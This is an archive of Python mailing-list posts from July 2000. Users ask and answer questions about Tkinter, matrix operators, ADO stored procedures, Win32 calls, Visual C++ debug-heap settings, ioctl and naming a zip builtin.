From athos84 at my-deja.com  Mon Jul 31 11:34:26 2000
From: athos84 at my-deja.com (athos84 at my-deja.com)
Date: Mon, 31 Jul 2000 15:34:26 GMT
Subject: Automatic naming?
Message-ID: <8m46a1$fr$1@nnrp1.deja.com>

I am trying to create a window in Tkinter that has
a variable number of entry fields, depending on
the length of a list.  The script looks like this:

cnt = 0
for x in list:
	label = Label(window, text=x)
	entry = Entry(window)
	label.grid(row=cnt)
	entry.grid(row=cnt, column=1)
	cnt = cnt+1

The window looks fine, but my problem is that I
don't know how to use .get() commands to call back
the contents of the widget.  Is there a way to
automatically name each entry as it gets created
so that I can call them back when I need to?


Sent via Deja.com http://www.deja.com/
Before you buy.


From paul at prescod.net  Wed Jul 19 19:38:27 2000
From: paul at prescod.net (Paul Prescod)
Date: Wed, 19 Jul 2000 18:38:27 -0500
Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
References: <Pine.LNX.4.10.10007181420000.9411-100000@rock.localdomain> <39751596.45921F07@prescod.net> <m31z0ppw77.fsf@atrus.jesus.cam.ac.uk>
Message-ID: <39763BF3.422C9BBB@prescod.net>

Michael Hudson wrote:
> 
> dipping in and out of this thread...
> 
>...
> 
> Still don't think runtime syntax extension is a good idea, but
> unfortunately we can't claim that it's impossible.

There are all sorts of linguistic tricks that are possible if you are
willing to rewrite the parser. I said that it wasn't possible with
*Python's parser*.

> What Haskell does is to declare that any sequence of characters from
> the set [!+-*/$=%] (I think) to be an operator, much the same way as
> any sequance of characters from [a-zA-Z_0-9] (ish) is a token in
> Python today.

Consider:

+-+-+-+-5

-- 
 Paul Prescod - Not encumbered by corporate consensus
"Hardly anything more unwelcome can befall a scientific writer than 
having the foundations of his edifice shaken after the work is 
finished.  I have been placed in this position by a letter from 
Mr. Bertrand Russell..." 
 - Frege, Appendix of Basic Laws of Arithmetic (of Russell's Paradox)



From root at rainerdeyke.com  Wed Jul 26 20:58:33 2000
From: root at rainerdeyke.com (Rainer Deyke)
Date: Thu, 27 Jul 2000 00:58:33 GMT
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <slrn8nv0l4.mqi.grey@teleute.rpglink.com>
Message-ID: <ZOLf5.47265$6y5.30607406@news2.rdc2.tx.home.com>

"Steve Lamb" <grey at despair.rpglink.com> wrote in message
news:slrn8nv0l4.mqi.grey at teleute.rpglink.com...
>     Stupid question: Why is it everyone and their mother is coming out
with a
> new open source license for their project instead of sticking with the
> established ones?  I mean, it causes headaches trying to keep all of the
> licenses legally compatible with one another which can cause problems for
open
> source down the road when these licenses are actually put to the legal
test.

Probably because they find the GNU licenses (the only "real" standard open
source licenses) too restrictive (or too permissive as the case may be).


--
Rainer Deyke (root at rainerdeyke.com)
Shareware action/role-playing games      -      http://rainerdeyke.com
"In ihren Reihen zu stehen heisst unter Feinden zu kaempfen" - Abigor




From fiona at sitegnome.com  Sat Jul 29 04:10:09 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: Sat, 29 Jul 2000 18:10:09 +1000
Subject: Beginning
References: <8loacq$n81$1@nnrp1.deja.com> <397FB2B5.8FE38267@sitegnome.com> <8lqqmp$jdd$1@nnrp1.deja.com>
Message-ID: <39829161.768A4DEF@sitegnome.com>

Hi Alex,

> I find a lot of interesting stuff on that side.
> What OS do you use for programming on Python.
> Is anybody doing this in Windows9x, and does it work.
> Alex

I'm using PythonWin on windows98, works like a treat.

You might want to check out Mark Hammond's page.

http://starship.python.net/crew/mhammond/

cheers,

F.


From grey at despair.rpglink.com  Fri Jul 28 13:09:41 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 17:09:41 GMT
Subject: Perl is worse!
References: <slrn8o25nr.e7.grey@teleute.rpglink.com> <8lsdir$aja$1@plutonium.compulink.co.uk>
Message-ID: <slrn8o3fei.49c.grey@teleute.rpglink.com>

On 28 Jul 2000 16:49:31 GMT, gbreed at cix.compulink.co.uk
<gbreed at cix.compulink.co.uk> wrote:
>?  You said it was only declared to "get the name space in there".

    Yup.  "I'm going to use a, for what I know not.  Could be string, could be
integer, could be whatever I want."  The point was defining the name and
assiciate it with nothing.  But since the type is inferred on first use might
as well have the C declarations.


>> for x in range(10):
>>   if a:
>>     a.append(x)
>>   else
>>     a = [x]
>> 
>>    All that because of type checking?  Jumping through 3 hoops just to 
>> get done what should be a trivial matter.

>No, it's trivial:

    *sigh*  Examples!  These are examples.  Fine, for x in
('some','damned','list','of','stuff'):
  if damned:
    pass
  else:
    etc...

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From kpmurphy at my-deja.com  Fri Jul 21 10:48:49 2000
From: kpmurphy at my-deja.com (Keith Murphy)
Date: Fri, 21 Jul 2000 14:48:49 GMT
Subject: example Tkinter code?
References: <8l7cvb$c61$1@mcnet.marietta.edu> <MaSd5.1355$yE4.25940@news2-win.server.ntlworld.com>
Message-ID: <8l9nsd$e42$1@nnrp1.deja.com>

i would say that the best reference i've found for tkinter is fredrik
lundh's 'an introduction to tkinter'

http://www.pythonware.com/library.htm

-->keith

In article <MaSd5.1355$yE4.25940 at news2-win.server.ntlworld.com>,
  "richard_chamberlain" <richard_chamberlain at ntlworld.com> wrote:
> Hi,
>
> Have a look at John Grayson's manning site (www.manning.com/grayson)
you can
> download the source from his book including code that demonstrates
each
> widget.
>
> I really would recommend a copy as it's an excellent book.
>
> from Tkinter import *
> root=Tk()
> myString=StringVar()
> Label(root,textvariable=myString).pack()
> myString.set("Well, eh, how about a little red Leicester.")
> def changeLabel():
>     myString.set("I'm, a-fraid we're fresh out of red Leicester, sir.
")
> Button(root,text='Click Me',command=changeLabel).pack()
> root.mainloop()
>
> I presume where you're going wrong is you are not creating an instance
of
> StringVar and setting (or getting) the variable through that.
>
> Richard
> Locke <brown.2053 at osu.NOSPAM.edu> wrote in message
> news:8l7cvb$c61$1 at mcnet.marietta.edu...
> > does anyone know where i can find some example python/tkinter code?
i am
> > trying to learn, but i think some examples of how to use all those
widgets
> > would be useful.
> >
> > also, how can i change the text on a label? when i use the
> > variabletext=whatever thing, the label wont show up.
> >
> > Thanks!
> >
> >
>
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From matt at nightrealms.com.bbs  Sun Jul 16 23:50:03 2000
From: matt at nightrealms.com.bbs (matt at nightrealms.com.bbs)
Date: 17 Jul 2000 03:50:03 GMT
Subject: Type checking in python?
Message-ID: <3bQkNT$jO6@openbazaar.net>

It would be nice if I could do something like:

  def my_func(int foo, list bar, Quux quux):
     ...

rather than

  def my_func(foo, bar, quux):
     if not isinstance(quux, Quux):
        raise RuntimeError("param 'quux' must be of class 'Quux'")

Is there any plans on doing this for Python 3000?  Or will something
like this never be a part of Python?


From hinsen at cnrs-orleans.fr  Fri Jul 21 05:56:27 2000
From: hinsen at cnrs-orleans.fr (Konrad Hinsen)
Date: 21 Jul 2000 11:56:27 +0200
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <Pine.LNX.4.10.10007201256340.17820-100000@us2.mayo.edu> <8l7qol$91u$1@la-mail4.digilink.net>
Message-ID: <m3wvif7qno.fsf@chinon.cnrs-orleans.fr>

"Pete Shinners" <pete at visionart.com> writes:

> but while we're at it, i would hope that we don't overlook the
> potential of elementwise assignment operators. sometimes those
> matrices can get rather large, and rather than create a new
> temporary matrix for every operation, it would be nice to have
> it done "in place"

I am not sure this is useful enough to deserve an operator (it should
of course be available as a function). The major limitation is that
the array that receives the result must have the right shape and type.
-- 
-------------------------------------------------------------------------------
Konrad Hinsen                            | E-Mail: hinsen at cnrs-orleans.fr
Centre de Biophysique Moleculaire (CNRS) | Tel.: +33-2.38.25.55.69
Rue Charles Sadron                       | Fax:  +33-2.38.63.15.17
45071 Orleans Cedex 2                    | Deutsch/Esperanto/English/
France                                   | Nederlands/Francais
-------------------------------------------------------------------------------


From robertrutledge at my-deja.com  Sun Jul  2 23:10:23 2000
From: robertrutledge at my-deja.com (robertrutledge at my-deja.com)
Date: Mon, 03 Jul 2000 03:10:23 GMT
Subject: Getting remote memory configuration
References: <2B1262E83448D211AE4B00A0C9D61B03013011F8@msgeuro1.creo.be>
Message-ID: <8jp06o$nn8$1@nnrp1.deja.com>

Pieter,

Ask an operator at the remote site, via telephone.

Bob Rutledge



In article <2B1262E83448D211AE4B00A0C9D61B03013011F8 at msgeuro1.creo.be>,
  Pieter Claerhout <PClaerhout at CREO.BE> wrote:
> Forgot to mention that I was talking about Windows NT machines.
>
> Pieter
>
> Pieter Claerhout
> Application Support - CreoScitex Europe
>
> > -----Original Message-----
> > From:	Pieter Claerhout
> > Sent:	Monday, June 19, 2000 3:40 PM
> > To:	'python-list at python.org'
> > Subject:	Getting remote memory configuration
> >
> > Anyone an idea on how you can find out how much memory a remote
computer
> > has installed? The computer is available on the same network and
has the same
> > login as the computer on which you are running the command.
> >
> > Pieter
>
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From thomas at cintra.no  Thu Jul 27 05:55:20 2000
From: thomas at cintra.no (Thomas Weholt)
Date: Thu, 27 Jul 2000 09:55:20 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <8losor$4bk$1@nnrp1.deja.com>
Message-ID: <3982fb07.279274515@news.online.no>

On reason for letting people use Perl in Zope is that Perl is by far
the most used script-language for CGI. By opening for Perl Zope will
have a potentially larger user-group and get acceptance faster. 

Anyway, python still rules, and I hope they could support more
python-like scripting inside pages, like PHP, ASP etc.

Thomas

On Thu, 27 Jul 2000 08:44:12 GMT, Jonathan <theebh at yahoo.com> wrote:

>Just finished putting down the 'Learning Python' book and tried some of
>the examples. Somehow i happened to have the itch of grabbing
>my 'Programming PERL' book and browse through it again to have a
>comparison(it was a long time since i last used PERL, after i picked up
>PHP). Looking at the Modules, Packages and Classes chapter, and - oh my
>god - the whole thing now looks like a mess! I don't think i will ever
>bother using PERL again (unless it's a 5-10 lines kind of thing).
>Python's syntax now seem much 'cleaner' and intuitive. But then i guess
>you all shld have known this by now:)
>
>But the irony now is that ZOPE will be 'opened' to PERL too. I have
>read through the 'debates' going on in the zope mailing list, but it
>still doesn't make sense - why allow Zope to be polluted by something
>that is clearly deficient? It's like allowing people to use sand
>instead of cement to build a house. (I haven't mastered Zope yet, so i
>will restrain from commenting any further)
>
>regards,
>jonathan
>
>
>Sent via Deja.com http://www.deja.com/
>Before you buy.



From scorder at incigna.com  Thu Jul  6 08:47:43 2000
From: scorder at incigna.com (Sam)
Date: Thu, 06 Jul 2000 08:47:43 -0400
Subject: Ado stored procs with parameters
Message-ID: <nuv8msgvjtmchijlo97b73jrnv8d30usrf@4ax.com>

I'm having a bit of trouble using a stored proc on MSSQL that takes
parameters.  I create a command object and then append the parameters
to it.  Then I create a recordset object and use the open method
passing the command object and a few other parameters.  Unfortunately
I get an error saying that the stored proc requires The same parameter
that I just added.  Below is the code I'm using.  Any ideas?

Sam Corder

import win32com.client
constants = win32com.client.constants

class dbcon:
    def __init__ (self, connect = None):
        self.connectstr = connect
    def runSQLReturnRS(self, sql, params = None):
        if self.connectstr == None:
            return None
        else:
            rs = win32com.client.Dispatch('ADODB.Recordset')
            cmd = win32com.client.Dispatch('ADODB.Command')
            cmd.ActiveConnection = self.connectstr
            cmd.CommandText = sql
            if params != None:
                for parm in params:
                    cmd.Parameters.Append(cmd.CreateParameter(parm[0],
parm[1], constants.adParamInput, parm[2], parm[3]))

            rs.Open(cmd, CursorType = constants.adOpenForwardOnly,
LockType = constants.adLockReadOnly)
            return rs
                
    def __AddParams(self, cmd, params):
        for parm in params:
            cmd.Parameters.Append(cmd.CreateParameter(parm[0],
parm[1], constants.adParamInput, parm[2], parm[3]))

if __name__  == '__main__':
    db = dbcon("Provider=SQLOLEDB;Data Source=s-incigna2k;User
Id=msl_login;Password=***;Connect Timeout=5;network
library=dbmssocn;Initial Catalog=msl;")
    params = ("ExpJobID", constants.adInteger, 4, 11),
    rs = db.runSQLReturnRS("ExpConfig_Get", params)
    print rs.Fields.Count




From buzzard at urubu.freeserve.co.uk  Fri Jul 21 14:36:38 2000
From: buzzard at urubu.freeserve.co.uk (Duncan Smith)
Date: Fri, 21 Jul 2000 19:36:38 +0100
Subject: Closing a file
References: <8l7lm7$kkb$1@news6.svr.pol.co.uk> <39785934.FD37DFD8@sec.noaa.gov>
Message-ID: <8la5ae$cck$1@news8.svr.pol.co.uk>

The following seems to do exactly what I want.  It was suggested by a
computer scientist who knows no Python (but I presume C).  Is 'sys.stdout =
0' a safe way of handling this?


    def acceptsim(self, cost, n):
        t = 10000.0 / n
        if self.cost == 0:
            outputfile = open('simresults.txt', 'w')
            sys.stdout = outputfile
            self.cost = DJT.totalcost(self)
            self.low_cost = self.cost
            self.low_ordering = self.ordering[:]
        while n < 120000:
            if cost > 0:
                p = exp ((-1 / t) * (float(cost) / self.cost))
                if random() > p:
                    print self.cost
                    return 0
                else:
                    self.cost = self.cost + cost
                    print self.cost
                    return 1
            else:
                self.cost = self.cost + cost
                if self.cost < self.low_cost:
                    self.low_cost = self.cost
                    self.low_ordering = self.ordering[:]
                print self.cost
                return 1
        sys.stdout = 0
        return 'stop'




From luthi at vaw.baug.ethz.NOSPAM.ch  Tue Jul 25 02:00:54 2000
From: luthi at vaw.baug.ethz.NOSPAM.ch (luthi at vaw.baug.ethz.NOSPAM.ch)
Date: 25 Jul 2000 08:00:54 +0200
Subject: Searching a binary file
References: <yfmu2dfv5xv.fsf@erato.i-did-not-set--mail-host-address--so-shoot-me> <397C8195.E7DA03A3@roguewave.com>
Message-ID: <yfm3dkyg355.fsf@erato.i-did-not-set--mail-host-address--so-shoot-me>

Thank you for your reply. This is obvious, but it won't work on large files
(exceeding memory). This is why I read the file in chunks and searched these
chunks. How should I choose the size of these chunks?

Is there a speed issue using string.find() or the regular expression search()?

Martin

-- 
============================================================
Martin Luethi			Tel. +41 1 632 40 92
VAW ETH Zuerich			
CH-8092 Zuerich			mail luthi at vaw.baum.ethz.ch
Switzerland
============================================================


From Armin at Steinhoff.de  Wed Jul  5 11:13:51 2000
From: Armin at Steinhoff.de (Armin Steinhoff)
Date: 5 Jul 2000 08:13:51 -0700
Subject: PyObject_GetAttr(String) ...
Message-ID: <8jvjbf$1eus@drn.newsguy.com>

Hi all,

a question for the gurus:

   what is the difference between the calls
   
      - PyObject_GetAttr and
      - PyObject_GetAttrString ??

Both have the same 'documented' semantic ... but they are magically different.

Regards

Armin
   



From aek at aek.dk  Sun Jul 16 17:14:32 2000
From: aek at aek.dk (Anders Eggers-Krag)
Date: Sun, 16 Jul 2000 23:14:32 +0200
Subject: Why make a language case sensitive?
References: <000801bfeda1$fcd99a20$6cb745c6@timaratz> <jbPb5.1245$bb.28195@news101.telia.com> <%%Rb5.109206$HK2.1930096@news20.bellglobal.com> <o8kc5.203$rg.9815@news101.telia.com> <A1lc5.87653$W35.2011983@news20.bellglobal.com> <kIlc5.219$rg.11710@news101.telia.com> <Ouoc5.89081$W35.2036480@news20.bellglobal.com> <43pc5.394$uj.2466@news101.telia.com> <1npc5.89253$W35.2043008@news20.bellglobal.com>
Message-ID: <bApc5.403$uj.3279@news101.telia.com>

> > ill take a look at it, although my guess is that I will stick with
> > Ultra Edit until I get around to making my own editor
> 
> If we all combined our efforts on "Boa Constructor", "wxDesigner" and
> "PythonWin", we may just already have everything we need to kick every other
> language's or IDE's rear-end... : )  Do you have an URL for Ultra Edit?
> You've sparked my curiosity..
www.ultraedit.com should do make sure you look udner downloads, wordfiles
there is one for Python too, but it is only keyword coloring - it is far from perfect...
but I find it nice to work with, one of the main things is the tab pane - I often work 
with 10-15 files, and for that a tabpane is a must...

> > > > it is said the man who knew the language inside out :-)
> > > I'm sorry, I don't follow...
> > I was just showing off :-)
> > saying yes var is the way you do it, when you do it in
> > JavaScript/JScript, and at the same time saying that
> > I know JScript inside out
> 
> Ah, I think I could have used a little comma after "it is", as in
> 
> "It is", said the man who knew the language inside out.
> 
> rather than my interpretation:
> 
> It is said that the man knew the language inside out.
> 
> ...a little different, isn't it?  : )
sorry :-)
I sometimes forget to think about punktuation


> > yes the 125 wasn't much fun - I haven't looked at 132 yet,
> > I have been busy developing a major online consumer database in
> > ASP/Jscript, I actually considdered using Python but I couldn't
> > figure out how to set the values Session and Application Objects...
> 
> I also thought 125 wasn't too good, but that's because I thought I had
> grabbed the latest version...  132 is a big improvement, you really should
> try it!
I will one of the comming days


> > aye one thing only - and of course I know the question, isn't
> > that what we earthlings are here for? ;-)
> 
> Yeah, but our planet was destroyed five minutes before the "computation" was
> complete.
thats what they think... you must remember they expected to hear the ansewer from
the dolphins, but what they had not expected is that a single human being would figure
it out long before the dolphins, and be unable to communicate with the dolphins...


-- 
Anders Eggers - Krag




From johngrayson at home.com  Thu Jul 27 16:14:04 2000
From: johngrayson at home.com (John Grayson)
Date: Thu, 27 Jul 2000 20:14:04 GMT
Subject: Problem deleting text in TK widget
References: <8lpvj7$v1h$1@nnrp1.deja.com>
Message-ID: <8lq566$3p4$1@nnrp1.deja.com>

In article <8lpvj7$v1h$1 at nnrp1.deja.com>,
  dogboy777 at my-deja.com wrote:
> I'm trying to delete text in a TK Text field, and I'm getting an error
I
> don't understand.  The code is:
>
> 		self.logarea = Text(master, height=35, width=30)
> 		self.logarea.insert(END, 'This is a test')
> 		self.logarea.delete(1,3)
>
> The resulting error is:
>
> Traceback (most recent call last):
>   File "junkyard.py", line 109, in ?
>     junk = Junkyard(root)
>   File "junkyard.py", line 20, in __init__
>     self.createMainScreen()
>   File "junkyard.py", line 34, in createMainScreen
>     self.logarea.delete(1,3)
>   File "C:\PYTHON16\lib\lib-tk\Tkinter.py", line 1643, in delete
>     self.tk.call(self._w, 'delete', index1, index2)
> TclError
>
> Any idea why Tcl is unhappy?

Sure...

The Text widget is a multiline widget, so the index must be
given as line.column...

from Tkinter import *

class App(Tk):

  def __init__(self):
    Tk.__init__(self)
    self.logarea = Text(self, height=35, width=30)
    self.logarea.pack()
    self.logarea.insert(END, 'This is a test')
    self.logarea.delete(1.1,1.3)

App().mainloop()


Note: just to confuse matters 'line' is 1-based wheras
'column' is 0-based.

   John Grayson


Sent via Deja.com http://www.deja.com/
Before you buy.


From matthias.huening at univie.ac.at  Fri Jul  7 11:00:28 2000
From: matthias.huening at univie.ac.at (Matthias Huening)
Date: Fri, 7 Jul 2000 17:00:28 +0200
Subject: os.system
References: <8k23tg$38me$1@www.univie.ac.at> <39653D15.E4DE6131@pehr.net> <8k45ut0190a@news2.newsguy.com>
Message-ID: <8k4rep$28j8$1@www.univie.ac.at>

Alex Martelli :

> Not all that difficult:
>
> >>> import win32api
> >>> win32api.ShellExecute(0,"open","c:\\pippo.htm",None,"",0)

Thanks! That's exactly what I was looking for.
I had found another solution on this group:

> import win32com.client
> ie=win32com.client.Dispatch('InternetExplorer.Application.1')
> ie.Visible=1
> ie.Navigate("http://www.python.org/")

Disadvantage: this only works for one browser (in this case IE).

>
> > I'd recommend browsing "Python for Win32" if you are serious
> > about surviving under windows.
>
> Yes, and I'm not even sure that would suffice (is ShellExecute
> documented there?  I'm familiar with it, because I routinely
> program under Win32 with other languages, so that's the first
> thing I looked for when trying to do something equivalent to
> a "start" from commandline, but I'm not sure how a Win32 newbie
> would learn about it...).
>
> Hammond's book is excellent, and so are his win32* extensions,
> but there might still be lots of difficulty for programmers
> that are not familiar at all with Win32 and its API's.
>

That's exactly my problem. I am not much of a programmer, but sometimes I
need a script to get things done and that is what I use Python for. I think
Python is a good all purpose language for the CP4E-kind-of-people like me
(I tried Perl before...). But the Win API's remain mysterious for me, at
least till now.

Thanks, Matthias






From hzhu at localhost.localdomain  Thu Jul 20 23:58:11 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Fri, 21 Jul 2000 03:58:11 GMT
Subject: PEP 203 - Augmented Assignments
References: <snfea3ej6tt177@corp.supernews.com>
Message-ID: <slrn8nfipj.rb.hzhu@localhost.localdomain>

On Thu, 20 Jul 2000 22:53:38 -0500, Eric Jacobs <none at none> wrote:
>
>But it would only be allowed to modify itself in either case if
>the statement would have deallocated the old object! That can't
>be known from looking at the expression!
>
>Suppose x is a list. The proposal would have
>
>    y = x
>    x = x + [7, 8, 9]
>
>and
>
>    y = x
>    x += [7, 8, 9]
>
>doing different things!
>
>
>That may be okay, of course, but the difficulty is that in C,
>x += really _is_ a short hand for x = x +, and people would be
>liable to use it that way in Python. They'd be changing the
>meaning of their programs without realizing it... lots of bugs
>and unnecessary confusion there.

I'd disagree here.  This difference is one of the key reason that += is
called for in the first place.  And it is the brilliant point in this PEP. I
do not think += should be compatible with C.  In python the = itself is by
reference, unlike C.

>If operators like += were to enter Python, I would highly recommend
>that they mean the same as in C, because that's where most users
>are familiar with them. That is, "x += 1" can be used as a substitute
>for "x = x + 1". Lazy fingers will want to substitute that!

New operators for lazy fingers is probably not a good reason.  New
Python?users from C have to get used to things like

b = a
do_something_on(b)

and expect a getting changed.  If you translate this into pointers to make
it understandable in C, then the same analysis can be applied to make +=
understandable.

Huaiyu


From stephen_purcell at yahoo.com  Thu Jul 27 00:37:52 2000
From: stephen_purcell at yahoo.com (Steve Purcell)
Date: Thu, 27 Jul 2000 14:37:52 +1000
Subject: ioctl IOError
In-Reply-To: <397FB4A9.EABD99C2@ecn.purdue.edu>; from cnd@ecn.purdue.edu on Wed, Jul 26, 2000 at 11:03:53PM -0500
References: <397FB4A9.EABD99C2@ecn.purdue.edu>
Message-ID: <20000727143752.C10132@inkontact.com.au>

Christopher N. Deckard wrote:
> def getvolume(self):
> 	value = 0
> 	fnctl.ioctl(self.fd, SOUND_MIXER_READ_LINE, value)
> 	return (((value & 0xff) + (value >> 8)) / 2)
> 
> When I simply call the 'getvolume' function, I get:
> IOError: (14, 'Bad address')

Are you maybe using the return value from 'open()' as the file descriptor?

To get the real file descriptor from a python file object, you need to call
its 'fileno()' method. Ignore me if you're already doing that.

-Steve

-- 
Steve Purcell,  Technical Director, Inkontact
Get in touch at http://www.inkontact.com/
Get testing at http://pyunit.sourceforge.net/
"Life must be simple if I can do it" -- Me



From ge at nowhere.none  Wed Jul  5 18:04:57 2000
From: ge at nowhere.none (Grant Edwards)
Date: Wed, 05 Jul 2000 22:04:57 GMT
Subject: MAPI/COM: where is the server?
Message-ID: <diO85.3111$iN5.764889@ptah.visi.com>

My MAPI/COM e-mail fetcher (running under win95) does this:

    self.session = win32com.client.Dispatch("MAPI.Session")
    self.session.Logon("MS Eschange Settings")

    [message fetching code left as an exercise for the reader]

This was all developed without any basic understanding of DCOM
or MAPI by copying other people's examples and semi-random
trial-and-error.

Question: Is it talking to Exchange server (which runs on a
          remote machine), or is it talking to a local copy of
          MS Outlook which is then acting as an intermediary?

If it's talking directly to Exchange server, then there's a
possibility I could do the same thing from Linux using either
Software AG's product or GCOM.

If my program is just talking to the local copy of MS Outlook,
then running the program under Linux isn't very useful, since I
still have to run that win95 machine that's sitting over in the
corner.

-- 
Grant Edwards                   grante             Yow!  I have the power
                                  at               to HALT PRODUCTION on all
                               visi.com            TEENAGE SEX COMEDIES!!


From dalke at acm.org  Tue Jul 25 17:56:12 2000
From: dalke at acm.org (Andrew Dalke)
Date: Tue, 25 Jul 2000 15:56:12 -0600
Subject: perl to python, case + regular expression question
References: <y7gd7k26jtd.fsf@bandersnatch.lerc.nasa.gov>
Message-ID: <8ll282$mel$1@slb6.atl.mindspring.net>

Jim McKim wrote in message ...
>I've got a question about what would be a good way in python to
>express an operation that needs to be done fairly often in this
>project.
>
>The operation (parsing log files) in perl would look like:
>
>if ($input_line =~ /^log entry (\d+)/) {
>    my $log_entry_num = $1;
>    ...etc.
>}
>elsif ($input_line =~ /^run number (\d+) timestamp (.*)/) {
>    my $run_number = $1;
>    my $timestamp = $2;
>    ...etc.
>}

in addition to the comments others said about using re, you should
know that a more Pythonic way to do this might be

words = string.split(input_line)
if words.get(0, None) == "log":
  log_entry_num = int(words[2])
elif words.get(0, None) == "run":
  run_number = int(words[2])
  timestamp = string.join(words[4:])

This is *not* the same as the perl code, since it doesn't check for
"log rolling 5" and assumes any whitespace in the timestamp is a single
space used for a separator (which is probably true).  However, if the
vocabulary of the input file is restricted, which is linkely is, then
you'll find that the above approach is probably faster than using re.

                    Andrew
                    dalke at acm.org





From mwh21 at cam.ac.uk  Thu Jul 20 02:52:50 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 20 Jul 2000 07:52:50 +0100
Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
References: <Pine.LNX.4.10.10007181420000.9411-100000@rock.localdomain> <39751596.45921F07@prescod.net> <m31z0ppw77.fsf@atrus.jesus.cam.ac.uk> <39763BF3.422C9BBB@prescod.net>
Message-ID: <m3ya2xnvi5.fsf@atrus.jesus.cam.ac.uk>

Paul Prescod <paul at prescod.net> writes:

> Michael Hudson wrote:
> > 
> > dipping in and out of this thread...
> > 
> >...
> > 
> > Still don't think runtime syntax extension is a good idea, but
> > unfortunately we can't claim that it's impossible.
> 
> There are all sorts of linguistic tricks that are possible if you are
> willing to rewrite the parser. I said that it wasn't possible with
> *Python's parser*.

So you did.  Must learn to read before posting on Usenet...  (Though
in my defence you did say "Parsers just do not work that way." which
is a bit of a generalisation).

> > What Haskell does is to declare that any sequence of characters from
> > the set [!+-*/$=%] (I think) to be an operator, much the same way as
> > any sequance of characters from [a-zA-Z_0-9] (ish) is a token in
> > Python today.
> 
> Consider:
> 
> +-+-+-+-5

Well, that's the operator +-+-+-+- followed by a five.  It's horrible,
yes - was that you're point?

Cheers,
M.

-- 
31. Simplicity does not precede complexity, but follows it. 
  -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html


From dnotspam-jen at personic.com  Mon Jul 17 15:58:46 2000
From: dnotspam-jen at personic.com (donotspam-jen@personic.com)
Date: Mon, 17 Jul 2000 12:58:46 -0700
Subject: Multiline strings and indentation
Message-ID: <39736250$0$14722@wodc7nh6.news.uu.net>

I'm just getting started with Python. The indentation feature really does
make things readable ... except when using multi-line strings.  This just
doesn't look right:

def multiline(x):
  if x:
    print """this is a
multi-line string that spans
three lines"""
 print "another string"

Is there a way to make the above more readable? It would be nice if it could
be written this way and have Python just figure out what whitespace to
ignore:

def multiline(x):
  if x:
    print """this is a
             multi-line string that spans
             three lines"""
 print "another string"

Thanks for any suggestions!

Jen




From embed at NOSPAM.geocities.com  Tue Jul  4 15:34:10 2000
From: embed at NOSPAM.geocities.com (Warren Postma)
Date: Tue, 4 Jul 2000 15:34:10 -0400
Subject: visual C++ giving runtime heap-check error in Py_Finalize(x)
References: <Fdq85.15710$227.290054@nnrp1.uunet.ca>
Message-ID: <h_q85.15860$227.292308@nnrp1.uunet.ca>

I figured it out. I also found this nifty trick.

here it is, in case anyone else needs to track nasty malloc problems in
their Visual C++ applications, most especially useful to me while
Py_Finalize is running.

I call SetSlowButThoroughDebugOptions() before Py_Finalize, and after it, I
clear it with SetFastDebugOptions.   This may turn out to be handy for
anybody writing C extensions or hacking Python internals.

Warren Postma

-----  ----- ---------------------------------------- ----- -----

// setdebug.c
//
// set visual C++ runtime library heap-debug options
//
// see MSDN help topic "Using the Debug Heap from C++" and "Debug Routines"
for more help
// on the CrtSetDbgFlag and it's functions.
//
// version 0.1 warren postma
// july 4, 2000

#include <crtdbg.h>     // Microsoft C Runtime Debug Options header.

#ifdef _DEBUG
void SetFastDebugOptions(void)
{
  int tmpFlag;

    // Get the current state of the flag
    // and store it in a temporary variable
    tmpFlag = _CrtSetDbgFlag( _CRTDBG_REPORT_FLAG );

    // Set the new state for the flag
    _CrtSetDbgFlag( tmpFlag );

}

void SetSlowButThoroughDebugOptions(void)
{
  int tmpFlag;

    // Get the current state of the flag
    // and store it in a temporary variable
    tmpFlag = _CrtSetDbgFlag( _CRTDBG_REPORT_FLAG );


    // Always check at every allocation request:
    tmpFlag |= _CRTDBG_CHECK_ALWAYS_DF;

    // Leak Check Report
    tmpFlag |= _CRTDBG_LEAK_CHECK_DF;

    // Set the new state for the flag
    _CrtSetDbgFlag( tmpFlag );

}

#endif


-----  ----- ---------------------------------------- ----- -----




From aahz at netcom.com  Wed Jul 19 16:25:18 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 19 Jul 2000 20:25:18 GMT
Subject: merge (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <3975E070.308511F4@roguewave.com> <3975FF92.1B031588@schneider-kamp.de> <3975EF36.1651C9CB@roguewave.com>
Message-ID: <8l52re$tbe$1@nntp9.atl.mindspring.net>

[piggy-backing becase Peter's post hasn't shown up]

In article <3975EF36.1651C9CB at roguewave.com>,
Bjorn Pettersen  <bjorn at roguewave.com> wrote:
>Peter Schneider-Kamp wrote:
>> 
>> Okay, assume you call it "merge". What will somebody who
>> doesn't know what it's for think it does?
>> 
>> merge([1, 2, 3], [4, 5, 6]) == [1, 4, 2, 5, 3, 6]
>> 
>> or
>> 
>> merge([1, 2, 3], [4, 5, 6]) == [(1, 4), (2 ,5), (3, 6)]?
>
>Point taken.

True, but you know it's going to be *one* of the two.

>> Where's your problem with zip?
>
>Not a problem really, although my first association was "why would we
>want to iterate over a compressed sequence..." <wink>

Precisely.  "Zip" has come to mean compression, and I think *that's* a
much bigger point of confusion than figuring out which of two
alternative meanings is meant -- I am completely opposed to "zip".  I'm
not entirely opposed to "marry", but "merge" at least has a history of
computer usage compatible with what's being proposed here.
--
